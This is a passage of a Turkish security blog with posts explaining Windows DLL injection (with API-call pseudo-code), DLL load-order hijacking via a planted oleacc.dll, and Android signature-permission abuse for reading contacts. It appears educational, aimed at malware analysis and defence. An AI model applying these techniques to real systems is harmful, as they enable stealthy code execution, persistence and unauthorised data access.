DLL enjeksiyonu, zararlı yazılımın saklanmak, dikkat çekmemek veya yüksek hakla çalışabilmek için kullandığı bir yöntemdir. Bu yöntem kısaca, başka bir process'e zararlı bir yazılımın enjekte edilerek kurban processin haklarıyla çalıştırılmasını amaçlamaktadır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
DLL enjeksiyonu saldırısı hedef process'i herhangi bir zararlı DLL'i yüklemeye zorlayarak gerçekleştirilmektedir. Bu sayede zararlı DLL, hedefteki kurban process'in context'inde çalışacak ve böylece daha az şüphe çekerek, daha kalıcı bir hayat sürebilecektir. Ayrıca bu sayede hedef process'in yetkilerini de kullanabilecek, kendi process'inin sahip olmadığı yetkilere sahip olmuş olacaktır.</div>
<h3 style="text-align: justify;">
DLL Injection Adımları</h3>
<div style="text-align: justify;">
DLL enjeksiyonu gerçekleştirebilmek için yapılan adımlar aşağıdaki şekilde sıralanabilir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
1.) DLL Injection için öncelikle hedef belirlenmelidir. Hedef belirleme işleminde kullanılabilecek en popüler Windows API fonksiyonları <span style="font-family: Courier New, Courier, monospace;"><b>CreateToolhelp32Snapshot()</b></span>, <span style="font-family: Courier New, Courier, monospace;"><b>Process32First()</b></span> ve <span style="font-family: Courier New, Courier, monospace;"><b>Process32Next(</b>)</span> fonksiyonlarıdır. Bu 3 fonksiyon sırasıyla process listesini alıp, ilk process'ten başlayarak bütün process listesini dolaşmaktadır. Bu listedeki process'ler içerisine zararlı DLL enjekte edilerek sömürülebilecek potansiyel process'lerdir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
2.) Belirlenen process'in process id'si (PID) <span style="font-family: Courier New, Courier, monospace;"><b>OpenProcess()</b></span> fonksiyonuna verilerek o process'e erişim için kullanılacak bir handle değeri elde edilir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
3.) Hedef process'in bellek alanı içerisinde bir bellek tahsisi yapılır ve bu tahsis edilen alana yüklenmek istenen zararlı DLL'in adı yazılır. Bu işlemler için sırasıyla <span style="font-family: Courier New, Courier, monospace;"><b>VirtualAllocEx()</b></span> ve <span style="font-family: Courier New, Courier, monospace;"><b>WriteProcessMemory()</b></span> fonksiyonları kullanılır. <b><span style="font-family: Courier New, Courier, monospace;">VirtualAllocEx()</span></b>, hedef process'in bellek alanında bellek tahsisi yapmak; <span style="font-family: Courier New, Courier, monospace;"><b>WriteProcessMemory()</b></span> de bu tahsis edilen alana zararlı DLL'in adını yazmak amacıyla kullanılır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
4.) Bu noktada zararlı DLL'in adı hedef process'in bellek alanına yazılmış durumdadır. Bundan sonra yapılacak olan bu zararlı DLL'in yüklenmesini sağlyacak fonksiyonun adresinin tespit edilmesidir. DLL yüklemek için kullanılacak fonksiyon <b><span style="font-family: Courier New, Courier, monospace;">LoadLibraryA()</span></b> fonksiyonudur. Bu fonksiyon <b>Kermel32.dll</b> tarafından export edilmekte (sunulmakta) olan bir fonksiyondur. Bu sebeple öncelikle <b><span style="font-family: Courier New, Courier, monospace;">GetModuleHandle() </span></b>fonksiyonu ile <b>Kernel32.dll</b> 'e erişim için kullanılacak handle değeri elde edilir. <b><span style="font-family: Courier New, Courier, monospace;">GetModuleHandle()</span></b> fonksiyonunun geri dönüş değeri <b><span style="font-family: Courier New, Courier, monospace;">GetProcAddress()</span></b> fonksiyonuna verilerek <b>Kernel32.dll</b> içerisinde <b><span style="font-family: Courier New, Courier, monospace;">LoadLibraryA()</span></b> fonksiyonunun adres değeri elde edilir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
5.) Şu anda hedef process'e ait bir <b>handle değeri</b>, <b><span style="font-family: Courier New, Courier, monospace;">LoadLibraryA()</span></b> fonksiyonun adresi ve yüklenecek <b>zararlı DLL'in adının adresi</b> elde edildi. Bu noktadan sonra yapılacak olan bu 3 değeri kullanarak <b><span style="font-family: Courier New, Courier, monospace;">CreateRemoteThread() </span></b>fonksiyonu ile ilgili hedef process bellek alanında bir thread oluşturmak ve LoadLibraryA() fonksiyonu ile zararlı DLL'i kurban process'in bellek alanına yüklemektir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Bir DLL belleğe yüklendiğinde o DLL'in DllMain fonksiyonu işletim sistemi tarafından otomatik olarak çalıştırılmaktadır. Çalışan DllMain fonksiyonu hedef processin context'inde çalıştığından asıl zararlı processin bu yapılan işlemlerle ilgili herhangi bir bağlantısı kurulamamaktadır. Çünkü bütün zararlı işlemleri kurban process yapmaktadır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-4OL72w2fgj4/U6fjGAY7kKI/AAAAAAAAB5s/IHwXu0_nYhk/s1600/DLL+Injection.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-4OL72w2fgj4/U6fjGAY7kKI/AAAAAAAAB5s/IHwXu0_nYhk/s1600/DLL+Injection.png" height="282" width="640" /></a></div>
</div>
<div>
<div style="text-align: justify;">
Yukarıdaki resim <a href="http://www.amazon.com/Practical-Malware-Analysis-Dissecting-Malicious/dp/1593272901">Practical Malware Analysis</a> kitabındaki DLL enjeksiyonu gösterimidir. Burada Launcher Malware adındaki zararlı yazılım normal şartlarda internete çıkamamaktadır. Ancak Internet Explorer process'i içerisine enjekte edilen zararlı DLL sayesinde artık bilgisayarda internete çıkabilen ve zararlı işlemler yapabilen bir kod Internet Explorer process'i altında çalıştırılmaktadır.<br />
<br />
<b>NOT: <span style="font-family: Courier New, Courier, monospace;">CreateRemoteThread()</span></b> fonksiyonunun çalıştırılabilmesi için hedef (kurban) process ile zararlı process'in aynı process sahipliğinde (process owner) olması gerekmektedir. </div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Klasik bir DLL injection kodu, disassembler'da aşağıdaki gibi görünmektedir. Fonksiyon çağırıları takip edilerek burada bir DLL enjeksiyonu yapıldığını söylemek mümküdür.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-sZBmDord1Ng/U577iL--RdI/AAAAAAAAB4w/8l7mQpqb7S4/s1600/dllinject.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-sZBmDord1Ng/U577iL--RdI/AAAAAAAAB4w/8l7mQpqb7S4/s1600/dllinject.png" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Aşağıda DLL Enjeksiyonu işleminin Pesudo Kodu bulunmaktadır.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><b><span style="color: #38761d;">hedefProcessHandle</span></b> = OpenProcess(PROCESS_ALL_ACCESS, 0, <b>hedefProcessID</b>);</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><b><span style="color: #0b5394;">dllAdiAdresi</span></b> = VirtualAllocEx(</span><b style="font-family: 'Courier New', Courier, monospace;"><span style="color: #38761d;">hedefProcessHandle</span></b><span style="font-family: Courier New, Courier, monospace;">, .., sizeof(<b>dllAdi</b>), .., ..);</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">WriteProcessMemory (</span><b style="font-family: 'Courier New', Courier, monospace;"><span style="color: #38761d;">hedefProcessHandle</span></b><span style="font-family: Courier New, Courier, monospace;">, .., <b>dllAdi</b>, sizeof(<b>dllAdi</b>), ..);</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">GetModuleHandle("<b>Kernel32.dll</b>");</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><b><span style="color: #b45f06;">LoadLibraryAdresi</span></b> = GetProcAddress(.., "<b>LoadLibraryA</b>");</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">CreateRemoteThread(</span><b style="font-family: 'Courier New', Courier, monospace;"><span style="color: #38761d;">hedefProcessHandle</span></b><span style="font-family: Courier New, Courier, monospace;">, .., .., </span><b style="font-family: 'Courier New', Courier, monospace;"><span style="color: #b45f06;">LoadLibraryAdresi</span></b><span style="font-family: Courier New, Courier, monospace;">, </span><b style="font-family: 'Courier New', Courier, monospace;"><span style="color: #0b5394;">dllAdiAdresi</span></b><span style="font-family: Courier New, Courier, monospace;">, .., ..);</span></div>
<div style="text-align: justify;">
<br /></div>
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-880810377140693460.post-32544119413292072482014-06-16T13:29:00.000+03:002014-06-18T08:20:56.809+03:00DLL Load-Order Hijacking (DLL Yükleme Sırası Saldırısı)<div style="text-align: justify;">
DLL Load-Order Hijacking günümüz zararlı yazılımları tarafından kullanılan ve registry kayıtları değiştirilmeden kalıcı olma (persistance) sağlayan çok önemli bir yöntemdir.</div>
<h3>
Genel Bilgi</h3>
<div style="text-align: justify;">
İşletim sistemi, program içerisinde herhangi bir DLL’i import edildiğinde, öncelikle yüklenecek DLL'in, process'in bellek alanında olup olmadığına bakar. Eğer DLL bellek alanında bulunuyorsa bir daha yüklemez. Yüklenecek DLL bellek alanında bulunmuyorsa DLL</div>
<blockquote class="tr_bq" style="text-align: justify;">
<span style="color: #990000; font-family: Courier New, Courier, monospace;"><b>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs </b></span></blockquote>
<div style="text-align: justify;">
içerisinde aranır. Known DLL's adlı bu registry kaydı Windows tarafından belirlenen ve güvenilen DLL'lerin bulunduğu listedir. </div>
<div style="text-align: justify;">
Eğer yüklenecek DLL bu listede de yer almıyorsa bu durumda işletim sistemi bu DLL'i aşağıdaki sırayla aramakta ve bulduğu anda yüklemektedir. Bu sıraya DLL Search Order veya DLL Load Order denilmektedir.</div>
<div style="text-align: justify;">
</div>
<ol>
<li>Uygulamanın bulunduğu dizin</li>
<li>Uygulamanın çalıştırıldığı dizin (current directory)</li>
<li>System dizini (<b>C:\Windows\System32</b>). Windows API <b>GetSystemDirectory</b> fonksiyonu bu dizini dönüş yapar.</li>
<li>16-bit System dizini (<b>C:\Windows\System</b>). </li>
<li>Windows dizini. (<b>C:\Windows</b>). Windows API <b>GetWindowsDirectory</b> fonksiyonu bu dizini dönüş yapar.</li>
<li>PATH çevresel değişkeninde yer alan dizinler.</li>
</ol>
<div>
WindowsXP'de öntanımlı oalrak yukarıdaki sıra kullanılmaktadır.</div>
<div>
<br /></div>
<div>
DLL Search Order'ı güvenli hale getirmek için bir özellik mevcuttur. Bu ayara <b>SafeDllSearchMode</b> adı verilmektedir. <b>SafeDllSearchMode</b> WindowsXP'de öntanımlı olarak kapalı durumda gelmektedir. Windows XP SP2 itibariyle <b>SafeDllSearchMode </b>açık olarak gelmektedir. <b>SafeDllSearchMode</b>'un açık doluğu durumda bu arama sırası biraz değişmektedir. <b>SafeDllSearchMode</b>'da DLL'ler aşağıdaki sıra ile aranmaktadır.</div>
<br />
<ol style="text-align: justify;">
<li>Uygulamanın bulunduğu dizin</li>
<li>System dizini (<b>C:\Windows\System32</b>). Windows API <b>GetSystemDirectory</b> fonksiyonu bu dizini dönüş yapar.</li>
<li>16-bit System dizini (<b>C:\Windows\System</b>). </li>
<li>Windows dizini. (<b>C:\Windows</b>). Windows API <b>GetWindowsDirectory</b> fonksiyonu bu dizini dönüş yapar.</li>
<li>Uygulamanın çalıştırıldığı dizin (current directory)</li>
<li>PATH çevresel değişkeninde yer alan dizinler.</li>
</ol>
<h3>
<span style="text-align: justify;">Saldırı Vektörü</span></h3>
<div>
</div>
<div style="text-align: justify;">
</div>
<div>
DLL Load sırası istismar edilerek gerçekleştirilen saldırı türüne DLL Load-Order Hijacking denilmektedir.<b> </b>Özellikle<b> </b><b>SafeDllSearchMode</b>'un deaktif olduğu durumlar çok daha tehlikeli olabilen bu saldırı sayesinde tamemen masum bir uygulama zararlı amaçlar için kullanılabilmektedir.<br />
<br />
<div style="text-align: justify;">
Örnek olarak elimizde <b>install_flash_player.exe</b> uygulaması olsun. Bu uygulama adobe'nin kendi sayfasından indirilmiş ve masum bir uygulamadır.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>install_flash_player.exe</b> uygulamasının import ettiği kütüphanelere baktığımızda <b>oleacc.dll</b> adında ve Known DLL'ler içerisinde yer almayan bir dll karşımıza çıkmaktadır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-NCn0y3grXRY/U567eWPVo9I/AAAAAAAAB4E/Fp5MfHNhkuQ/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-NCn0y3grXRY/U567eWPVo9I/AAAAAAAAB4E/Fp5MfHNhkuQ/s1600/2.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-0FTUw09t61w/U567eNBqMhI/AAAAAAAAB4k/iBmhp1ehfGA/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-0FTUw09t61w/U567eNBqMhI/AAAAAAAAB4k/iBmhp1ehfGA/s1600/3.png" height="376" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>install_flash_player.exe</b> kendi klasöründe herhangi bir dosya yokken Immunity Debugger ile açılıp modülleri incelendiğinde import ettiği modüller arasında <b>oleacc.dll</b>'in varlığı görülmektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-3ryT1WRfHTY/U567eFJXClI/AAAAAAAAB4Y/C8H3ExUPCf4/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-3ryT1WRfHTY/U567eFJXClI/AAAAAAAAB4Y/C8H3ExUPCf4/s1600/1.png" height="180" width="400" /></a></div>
Bu noktada dikkat çeken husus yüklenen <span style="text-align: justify;">oleacc.dll'</span>in <b>C:\WINDOWS\system32\<span style="text-align: justify;"> </span><span style="text-align: justify;">oleacc.dll</span> </b>yolundaki kütüphane olduğudur.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-t778PS82kJI/U567e4bRLII/AAAAAAAAB4M/xvV2ipn2v7k/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-t778PS82kJI/U567e4bRLII/AAAAAAAAB4M/xvV2ipn2v7k/s1600/4.png" height="200" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>install_flash_player.exe</b> dosyasının bulunduğu dizinde <b>oleacc.dll</b> adında ancak zararlı bir işlem yapan bir dosya bulunduğu durumda ise durum farklı bir hal almaktadır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-_we5MOzX-nM/U567ffw5BdI/AAAAAAAAB4c/bTD0QLxHX3E/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-_we5MOzX-nM/U567ffw5BdI/AAAAAAAAB4c/bTD0QLxHX3E/s1600/5.png" height="243" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>install_flash_player.exe</b> dosyası yine Immunity Debugger ile açılarak import ettiği modüller incelendiğinde bu durumda yüklenen oleacc.dll'in <b>C:\WINDOWS\system32\oleacc.dll</b> yolundaki değil, uygulamanın bulunduğu dizinde yer alan zararlı DLL olduğu görülmektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-LE5LcRmd1Ag/U6EhoP4BLkI/AAAAAAAAB5Q/YC3Qbqhk3zU/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-LE5LcRmd1Ag/U6EhoP4BLkI/AAAAAAAAB5Q/YC3Qbqhk3zU/s1600/6.png" height="231" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Bu durum, masum bir uygulamanın DLL Load Order sırası istismar edilerek nasıl kötü amaçlar için kullanılabileceğini gösteren önemli bir saldırı vektörüne işaret etmektedir.</div>
</div>
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-880810377140693460.post-70181988470842308802014-05-21T13:35:00.000+03:002015-01-12T14:42:00.988+02:00Android'de İzin Almadan İzin Kullanmak<div style="text-align: justify;">
Android'in en temel güvenlik mekanizmalarından biri <b>Android İzin Modeli</b>'dir (<b>Android Permission Model</b>) Android Permission Model korunan kaynaklara uygulamaların direkt olarak erişmesini engelleyen ve bu erişimin işletim sistemi üzerinden yürütülmesini sağlayan bir mekanizmadır. Bu korunan kaynaklar SMS'ler, telefon rehberi, internet erişimi gibi kaynaklardır. Korunan kaynaklara erişim için uygulama izin talep etmelidir. Talep edilen bu izin kullanıcı tarafından uygulama kurulumu sırasında onaylanmalıdır. Ancak bu sayede uygulama korunan kaynaklara işletim sistemi üzerinden erişim sağlayabilir.</div>
<div style="text-align: justify;">
Aşağıdaki ekran görüntüsü Maps uygulamasının yüklenmesi sırasında geliştiricinin talep ettiği izinleri göstermektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-urAQH0SNuq0/U3xiEkJT34I/AAAAAAAABwo/BNSuBntWZ4o/s1600/maps_permission.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-urAQH0SNuq0/U3xiEkJT34I/AAAAAAAABwo/BNSuBntWZ4o/s1600/maps_permission.png" height="400" width="240" /></a></div>
<div style="text-align: center;">
</div>
<div style="text-align: justify;">
Android izin modeline göre izinler yükleme sırasında toplu olarak verilir ve daha sonra geri alınamaz. Uygulamaya verilen yetkilerin geri alınabilmesi için uygulamanın cihazdan kaldırılması gerekmektedir. Aynı uygulama tekrar kurulmak istendiğinde yine talep edilen izinler kullanıcıya sorulacaktır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Uygulama geliştiriciler talep ettikleri izinleri AndroidManifest.XML dosyası içerisinde tanımlarlar. </div>
<div style="text-align: justify;">
Telep edilen izinler <uses-permission> tag'i kullanılarak uygulamanın AndroidManifest.XML dosyası içerisinde tanımlanır. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-BXOqzT2mJKs/U3xiMB8UIaI/AAAAAAAABww/XSBVkLd434U/s1600/untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="AndroidManifestxml" border="0" src="http://3.bp.blogspot.com/-BXOqzT2mJKs/U3xiMB8UIaI/AAAAAAAABww/XSBVkLd434U/s1600/untitled.png" height="492" title="AndroidManifestxml" width="640" /></a></div>
<div style="text-align: center;">
</div>
<div style="text-align: justify;">
Yukarıdaki resim bir AndroidManifest.XML dosyası içeriğinden bir kesittir. Resim incelendiğinde uygulamanın READ_CONTACTS, INTERNET, ACCESS_NETWORK_STATE, SEND_SMS, RECEIVE_SMS ve RECORD_AUDIO izinlerini talep ettiği görülmektedir. İzinlerin adları, yaptıkları işlemler için açıklayıcıdır. </div>
<h4>
Android İzin Seviyeleri</h4>
<div style="text-align: justify;">
Android'de izinlerin 4 seviyesi bulunmaktadır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: #bf9000;"><b>Normal:</b></span> Kullanıcıya ciddi bir zarar vermeyecek izinler. (duvar kağıdı değiştirmek vb.) Kullanıcı onayı alınmaz.</div>
<div style="text-align: justify;">
<span style="color: #990000;"><b>Dangerous:</b></span> Kullanıcıya zarar verebilecek izinler. Maddi karşılığı olabilecek izinler (SMS, telefon, internet). Kullanıcı onayı gerekir </div>
<div style="text-align: justify;">
<span style="color: #0b5394;"><b>Signature: </b></span>Aynı geliştirici sertifikasıyla imzalanmış uygulamalarda kullanıcıya sorulmadan otomatik olarak izinler verilir.</div>
<div style="text-align: justify;">
<span style="color: #741b47;"><b>Signature/System:</b></span> <span style="color: #0b5394;"><b>Signature</b></span> seviyesi ile aynıdır. Ek olarak Android system imajı içerisindeki uygulamalara ait haklar için de kullanıcı onayı alınmamasını sağlar.</div>
<h4>
Android Uygulama Komponentleri</h4>
<div>
Android uygulamalarında temel olarak 5 adet komponent vardır. Bu komponentler uygulamaların yapı taşları olarak adlandırılabilir.</div>
<div>
<br /></div>
<div style="text-align: justify;">
<b>Activity:</b> Uygulamanın her bir ekranı Activity olarak adlandırılır. </div>
<div style="text-align: justify;">
<b>Service:</b> Arka planda (uzun süreli) çalışan uygulamalardır. Kullanıcı arayüzü yoktur. Windows'taki service yapısıyla benzer bir yapıdadır. </div>
<div style="text-align: justify;">
<b>Broadcast Receiver:</b> Sistem geneli broadcast’leri yakalayan ve aksiyon gösteren komponenttir. Herhangi bir event (olay) olması durumunda yayınlanan broadcast mesajlarını yakayıp aksiyon alınmasını sağlayan yapı Broadcast Receiver yapısıdır.</div>
<div style="text-align: justify;">
<b>Content Provider:</b> Uygulama verilerinin paylaşılmasını ve erişilebilir olmasını sağlayan komponenttir. Adından da anlaşılacağı üzere Content provider sayesinde herhangi bir uygulamaya ait veri, diğer uygulamalar ile paylaşılabilir.<br />
<b>Intent:</b> Uygulamalar arası veya uygulama içi komponentler arası haberleşmeyi sağlayan yapıdır. </div>
<h4>
Android İzin Tanımlama</h4>
<div style="text-align: justify;">
Android KitKat 4.4 - API seviye 19'ta tanımlı 145 tane izin bulunmaktadır. Bu izinler dışında uygulama geliştiricisi kendi uygulamasının komponentlerini kendi tanımladığı bir izinle koruyabilir. Uygulamaya ait bir veri, izin seviyesi belirtilerek koruma altına alınabilir. Tanımlama işlemi <b><permission></b> tagi ile yapılır. Aşağıdaki resimde SECRET adında bir permission tanımlanmış ve tanımlanan bu permission ile uygulamanın FirstAppMainActivty adındaki activity'si koruma altına alınmıştır. Bu durum şu anlama gelmektedir. Bu uygulamanın FirstAppMainActivty adındaki activity'sine SECRET permission'una sahip olmayan kimse erişemeycektir. SECRET permission'unun seviyesi de "signature" olduğundan bu uygulama ile aynı developer imzasına sahip olan uygulamalara bu yetkinin otomatik olarak (kullanıcı onayı alınmadan) verileceği görülebilmektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-lPYRJ10a0Is/U3xoL_8ECgI/AAAAAAAABxA/98WSOkV4awU/s1600/manifest.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-lPYRJ10a0Is/U3xoL_8ECgI/AAAAAAAABxA/98WSOkV4awU/s1600/manifest.png" height="328" width="640" /></a></div>
<div style="text-align: justify;">
Bir acitivty'nin korunması ile bakışta anlamsız gelebilir ancak bu izin tanımlama işlemi diğer tüm komponentler için de uygulanabilir bir yöntemdir. Uygulamaya ait verilerin erişilebilir olmasını sağlayan content provider'lar da benzer bir izin korumasıyla korunabilmektedir. </div>
<div style="text-align: justify;">
Detaylı incelendiğinde telefon rehberinin de aslında bir content provider ile paylaşıldığının ve bu content provider'ın READ_CONTACTS ve WRITE_CONTACTS izinleri ile korunduğu görülebilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-dHTZCJyJ_YM/U3xqW-HW5EI/AAAAAAAABxU/YTjcnXmqBGs/s1600/contacts.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-dHTZCJyJ_YM/U3xqW-HW5EI/AAAAAAAABxU/YTjcnXmqBGs/s1600/contacts.png" height="400" width="241" /></a></div>
<div style="text-align: justify;">
Yani telefon içerisindeki People (Contacts) uygulamasının da aslında telefon rehberi content provider'ına erişebilmek için READ_CONTACTS ve WRITE_CONTACTS izinlerini talep ettiği bilinmelidir. Aşağıdaki resimde Contacts uygulamasının aldığı izinler görülebilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-V800D_ujOQ0/U3xqhVCrgmI/AAAAAAAABxc/aaIxXF0rcqI/s1600/androidmanifestxml.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-V800D_ujOQ0/U3xqhVCrgmI/AAAAAAAABxc/aaIxXF0rcqI/s1600/androidmanifestxml.png" height="296" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<h4>
Saldırı Vektörü</h4>
<div style="text-align: justify;">
Yukarıda belirtilen konular birleştirildiğinde bir saldırı vektörü oluşmaktadır. Saldırı senaryosu şu şekildedir:</div>
<div style="text-align: justify;">
Masum ancak yetki talep eden bir uygulama bulunmaktadır. Bu uygulama First olarak adlandırılmaktadır. Aynı developer tarafından geliştirilen ve herhangi bir izin talep etmemesine rağmen kötü niyetli olan bir diğer uygulama daha bulunmaktadır. Bu uygulama Second olarak adlandırılmaktadır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First uygulaması kullanıcıdan READ_CONTACTS yetkisi talep etmektedir. First uygulamasında bir Service komponenti bulunmaktadır ve bu service SecretService adındaki bir izin ile koruma altına alınmıştır. İzin seviyesi de Signature seviyesindedir. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-MBzVxFb28v8/U3xvPyw5bKI/AAAAAAAABxw/KDcBmnCTms0/s1600/+firstmanifest+.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-MBzVxFb28v8/U3xvPyw5bKI/AAAAAAAABxw/KDcBmnCTms0/s1600/+firstmanifest+.png" height="330" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-KN3ZDBsa9f4/U3x5EUmzGEI/AAAAAAAAByI/L0V-Ob3u4qM/s1600/firstapp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-KN3ZDBsa9f4/U3x5EUmzGEI/AAAAAAAAByI/L0V-Ob3u4qM/s1600/firstapp.png" height="640" width="445" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
Second uygulaması ise AndroidManifest.XML dosyası içerisinde First uygulamasının servisine erşim içni gerekli olan SecretService yetkisi dışında hiçbir yetki talep etmemektedir. Zaten bu izin de uygulama kurulurken signature olarka tanlımlandığından kullanıcı onayı alınmadan verilecektir.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-ml_1PrLIEuc/U3xvtX1H-OI/AAAAAAAABx4/-mMC4tIqt9c/s1600/secondappmanifest.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-ml_1PrLIEuc/U3xvtX1H-OI/AAAAAAAABx4/-mMC4tIqt9c/s1600/secondappmanifest.png" height="404" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Njol1LjHibs/U3x5NnUXp9I/AAAAAAAAByQ/_8UjZ6FX2fU/s1600/secondapp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-Njol1LjHibs/U3x5NnUXp9I/AAAAAAAAByQ/_8UjZ6FX2fU/s1600/secondapp.png" height="640" width="442" /></a></div>
<div style="text-align: justify;">
Yukarıdaki resimde Second uygulamasının kurulurken kullanıcıdan hiçbir izin istemediği görülmektedir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First uygulaması içerisindeki korunan servis ise kendisine gelen istek üzerine sahip olduğu READ_CONTACTS yetkisini kullanarak telefon rehberini almakta ve kendisine istekte bulunan uygulama veya komponente iletmektedir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Second uygulaması işte bu servise Signature koruma seviyesindeki bir izinle erişme hakkına sahiptir. Dolayısıyla Second uygulaması First uygulamasının servisi üzerinden telefon rehberine erişmektedir. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-784_GkKSuK0/U3x6JQHPDxI/AAAAAAAAByY/mBviEiEuV4o/s1600/secondapp2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-784_GkKSuK0/U3x6JQHPDxI/AAAAAAAAByY/mBviEiEuV4o/s1600/secondapp2.png" height="226" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Ayrıca Second uygulaması cihazın tarayıcısına bir intent göndererek istediği herhangi bir web sayfasını çağırmasını sağlayabilmektedir. Bu durumda artık Second uygulaması background'a alınmakta ve web tarayıcı uygulaması açılmaktadır. </div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<blockquote class="tr_bq">
